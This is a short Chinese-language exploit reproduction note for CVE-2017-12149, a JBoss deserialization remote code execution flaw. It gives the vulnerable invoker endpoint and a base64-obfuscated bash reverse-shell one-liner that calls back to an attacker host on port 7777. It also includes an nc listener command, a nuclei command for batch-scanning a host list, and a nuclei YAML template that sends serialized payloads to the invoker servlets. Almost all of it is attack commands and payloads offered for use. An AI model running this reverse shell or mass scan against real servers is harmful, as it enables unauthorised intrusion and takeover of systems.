漏洞复现-CVE-2017-12149 JBoss反序列化远程代码执行

http://x.x.x.x:8080/invoker/readonly

编码地址：https://ir0ny.top/pentest/reverse-encoder-shell.html反弹shell脚本：bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xIuMTxLjEuxkvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}

nc -lnvp 7777

批量验证命令：nuclei -list 1.txt -t cves/2017/CVE-2017-12149.yaml
yaml POC：id: CVE-2017-12149
info:  name: Java/Jboss Deserialization [RCE]  author: fopina  severity: critical  description: In Jboss Application Server as shipped with Red Hat Enterprise Application Platform 5.2, it was found that the doFilter method in the ReadOnlyAccessFilter of the HTTP Invoker does not restrict classes for which it performs deserialization and thus allowing an attacker to execute arbitrary code via crafted serialized data.  reference:    - https://nvd.nist.gov/vuln/detail/CVE-2017-12149    - https://chowdera.com/2020/12/20201229190934023w.html    - https://github.com/vulhub/vulhub/tree/master/jboss/CVE-2017-12149  classification:    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H    cvss-score: 9.8    cve-id: CVE-2017-12149    cwe-id: CWE-502  tags: cve,cve2017,jboss,java,rce,deserialization
requests:  - raw:      - |        POST /invoker/JMXInvokerServlet/ HTTP/1.1        Host: {{Hostname}}        Content-Type: application/octet-stream
        {{ base64_decode("rO0ABXNyABNqYXZhLnV0aWwuQXJyYXlMaXN0eIHSHZnHYZ0DAAFJAARzaXpleHAAAAACdwQAAAACdAAJZWxlbWVudCAxdAAJZWxlbWVudCAyeA==") }}      - |        POST /invoker/EJBInvokerServlet/ HTTP/1.1        Host: {{Hostname}}        Content-Type: application/octet-stream
        {{ base64_decode("rO0ABXNyABNqYXZhLnV0aWwuQXJyYXlMaXN0eIHSHZnHYZ0DAAFJAARzaXpleHAAAAACdwQAAAACdAAJZWxlbWVudCAxdAAJZWxlbWVudCAyeA==") }}
    matchers-condition: and    matchers:      - type: word        words:          - "ClassCastException"        part: body
      - type: word        words:          - "application/x-java-serialized-object"        part: header